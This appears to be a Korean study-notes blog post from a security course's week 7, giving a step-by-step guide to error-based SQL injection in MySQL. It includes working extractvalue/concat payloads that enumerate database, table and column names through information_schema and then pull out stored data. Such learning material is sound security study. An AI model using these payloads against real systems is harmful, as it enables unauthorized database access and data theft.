ErrorBased SQLI

황인환·2024년 6월 2일

조건

  • 로직 error여야함
  • SQL error여야함
  • error 메시지가 화면에 출력되는 경우

STEP

1. SQL Injection Point 찾기

  • 특수문자 or select 넣어보기
    ex) ' 넣어보기
    a' and ('1'='1')and'1'='1
    ex) select 넣어보기 -> 필터링 확인
    a' and ((select 'test')='test')and'1'='1

2. error 메시지 출력할 함수 선택

  • ex) extractvalue

3. 공격 format 만들기

  • 목적
    error 메시지로 내가 원하는 정보 추출
    ex) a' and extractvalue('1', concat(0x3a,())) and '1' = '1

4. DB 이름을 출력

  • select database() (웹 어플리케이션과 통신중인 DB)
    ex) a' and extractvalue('1', concat(0x3a,(select database()))) and '1' = '1

  • select schema_name from information_schema.schema limit 0,1

5. Table 이름 출력

  • table 이름 출력 sql문
    select table_name from information_schema.tables where table_schema='DB이름' limit0,1
    +) limit 0,1 -> limit 1,1 -> limit 2,1 하나씩 늘려줘야함

  • ex) a' and extractvalue('1', concat(0x3a,(select table_name from information_schema.tables where table_schema='DB이름' limit0,1))) and '1' = '1

6. Column 이름 출력

  • Column 이름 출력 sql문
    select column_name from information_schema.columns where table_schema = 'DB이름' limit 0,1

-ex) a' and extractvalue('1', concat(0x3a,(select column_name from information_schema.columns where table_schema = 'DB이름' limit 0,1))) and '1' = '1

7. DB정보추출

  • 정보 추출 sqlans
    select '찾은column' from '찾은table' limit 0,1

-ex) a' and extractvalue('1', concat(0x3a,(select '찾은column' from '찾은table' limit 0,1))) and '1' = '1

알아야하는 point

1. extractvalue함수

  • extractvalue(XML데이터, XML표현식) XML표현식을 틀리게해서 에러발생시킴

2. concat함수

  • string을 붙여주는 함수
  • ex) concat("He","llo")="Hello"

3. 0x3a

  • ASCII Characters로 : 을 의미
  • concat(0x3a, ())에서는 다른 것도 사용가능
    ex) 0x3b == ;, 0x3f ==? XML표현식에 맞지 않으면 가능

4. limit함수

  • limit 순서, 갯수
  • ex) select name, job from user limit 0,1
    ex)저장된 정보
namejob
jsonprogramer
adamdoctor
maxteacher

-> limit 0,1 1번째부터 1개 출력
josn programer
-> limit 0,2 1번째부터 2개 출력
json progmaer
adam doctor
-> limit 1,1 2번째부터 1개 출력
adam doctor
-> limit 1,2 2번째부터 2개출력
adam doctor
max teacher

-- normaltic study 7주차 --

0개의 댓글